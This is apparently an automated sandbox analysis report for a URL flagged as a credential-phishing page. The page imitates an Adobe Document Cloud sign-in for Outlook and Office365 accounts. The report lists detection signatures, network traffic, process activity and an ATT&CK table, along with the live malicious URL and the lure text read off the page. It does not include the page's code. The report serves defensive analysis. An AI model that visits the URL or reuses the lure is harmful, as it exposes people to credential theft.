Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://groun-93ed.ehajdranrsuw.workers.dev/

Overview

General Information

Sample URL:	https://groun-93ed.ehajdranrsuw.workers.dev/
Analysis ID:	1427711
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

Yara detected HtmlPhish29

Yara detected HtmlPhish7

Found HTTP page in a blob

HTML page contains suspicious base64 encoded javascript

Phishing site detected (based on shot match)

Phishing site or detected (based on various text indicators)

HTML body contains password input but no form action

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 5492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,16430321161640837365,1805014834749098796,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://groun-93ed.ehajdranrsuw.workers.dev/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_7	Yara detected HtmlPhish_7	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://groun-93ed.ehajdranrsuw.workers.dev/

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Yara detected HtmlPhish29

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Yara detected HtmlPhish7

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Found HTTP page in a blob

Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df

DOM page: Blob-based

HTML page contains suspicious base64 encoded javascript

Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df	HTTP Parser: Base64 decoded: document.write
Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df	HTTP Parser: Base64 decoded: document.write

Phishing site detected (based on shot match)

Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df

Matcher: Template: multims matched

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 0.0

OCR Text: Adobe Document Cloud To read the document, please enter with the valid- email credentials that this file was sent to. Sign in with Outlook Sign in with Office365 Sign in with Other Mail Select your email provider to view Document Copyright 0 2024

Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df

HTTP Parser: <input type="password" .../> found

Source: blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df

HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49739 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.208.128.100:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.208.128.100:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49739 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.208.128.100
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: groun-93ed.ehajdranrsuw.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.4.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://groun-93ed.ehajdranrsuw.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://groun-93ed.ehajdranrsuw.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vectors/email-marketing-icon-vector-graphics-vector-id1257404830?k=20&m=1257404830&s=612x612&w=0&h=LOwm34ubd_vUzqIi5k3rxflh04NbZTZEnSTYSVmX2Jk= HTTP/1.1Host: media.istockphoto.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vectors/email-marketing-icon-vector-graphics-vector-id1257404830?k=20&m=1257404830&s=612x612&w=0&h=LOwm34ubd_vUzqIi5k3rxflh04NbZTZEnSTYSVmX2Jk= HTTP/1.1Host: media.istockphoto.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ucspqsuf8bxoiymvvdy5p6pp9uzvyqj/hover.css HTTP/1.1Host: runn1rnl8xzmqeh0kvov.web.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0fSNxpr/imgonline-com-ua-exifedit-TN1-PVe8jklc-C.jpg HTTP/1.1Host: i.ibb.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://groun-93ed.ehajdranrsuw.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://groun-93ed.ehajdranrsuw.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://groun-93ed.ehajdranrsuw.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0fSNxpr/imgonline-com-ua-exifedit-TN1-PVe8jklc-C.jpg HTTP/1.1Host: i.ibb.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown

DNS traffic detected: queries for: groun-93ed.ehajdranrsuw.workers.dev

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1713396481912&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 10601Cache-Control: max-age=0Content-Type: text/html; charset=utf-8Strict-Transport-Security: max-age=31556926; includeSubDomains; preloadAccept-Ranges: bytesDate: Wed, 17 Apr 2024 23:28:34 GMTX-Served-By: cache-pdk-kpdk1780136-PDKX-Cache: MISSX-Cache-Hits: 0X-Timer: S1713396514.368549,VS0,VE20Vary: x-fh-requested-host, accept-encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Source: chromecache_97.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_107.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.4.1.min.js
Source: chromecache_93.2.dr, chromecache_86.2.dr, chromecache_89.2.dr, chromecache_94.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_93.2.dr, chromecache_86.2.dr, chromecache_89.2.dr, chromecache_94.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_101.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/yellowtail/v22/OZpGg_pnoDtINPfRIlLohlvHwQ.woff2)
Source: chromecache_102.2.dr, chromecache_96.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_102.2.dr, chromecache_96.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_102.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_98.2.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: chromecache_98.2.dr	String found in binary or memory: https://kit.fontawesome.com
Source: chromecache_103.2.dr, chromecache_88.2.dr	String found in binary or memory: https://www.istockphoto.com/photo/license-gm1257404830-?utm_medium=organic&utm_source=google&amp

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 23.208.128.100:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.208.128.100:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: classification engine

Classification label: mal88.phis.win@16/50@32/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,16430321161640837365,1805014834749098796,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://groun-93ed.ehajdranrsuw.workers.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,16430321161640837365,1805014834749098796,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
